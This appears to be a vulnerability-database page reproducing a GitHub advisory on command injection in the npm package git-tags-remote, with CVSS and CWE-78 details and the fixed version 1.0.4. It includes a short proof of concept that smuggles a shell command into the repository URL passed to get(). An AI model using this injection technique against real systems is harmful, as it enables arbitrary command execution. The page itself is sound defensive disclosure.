Command Injection in git-tags-remote

published 2020-07-29 6y ago modified 2021-09-23 5y ago

cvss: 7.2; version 3.1, GitHub
cisa kev: Not listed; not in CISA's catalog
epss: —; no score, EPSS covers CVEs only
public exploits: 0; none known

All versions of `git-tags-remote ` are vulnerable to Command Injection. The package fails to sanitize the repository input and passes it directly to an `exec` call on the `get` function . This may allow attackers to execute arbitrary code in the system if the `repo` value passed to the function is user-controlled.

The following proof-of-concept creates a file in `/tmp`: ``` const gitTagsRemote = require('git-tags-remote');

gitTagsRemote.get('https://github.com/sh0ji/git-tags-remote.git; echo "Injection Success" > /tmp/command-injection.test') .then(tags => console.log(tags)); ```

Patch / fix

fixed in 1 links 1

npm git-tags-remote 1.0.4

github.com/sh0ji/git-tags-remote@a204889 commit

Is GHSA-gm9x-q798-hmr4 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

CVSS scores

assigned by	version	score	vector
GitHub	3.1	7.2	CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Affected packages

ecosystem	package	affected	fixed in
npm	git-tags-remote	<1.0.4	1.0.4

Classification

Weakness

CWE-78 Improper Neutralization of Special Elements used in an OS Command

References

Sources

GitHub Advisory GHSA-gm9x-q798-hmr4

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.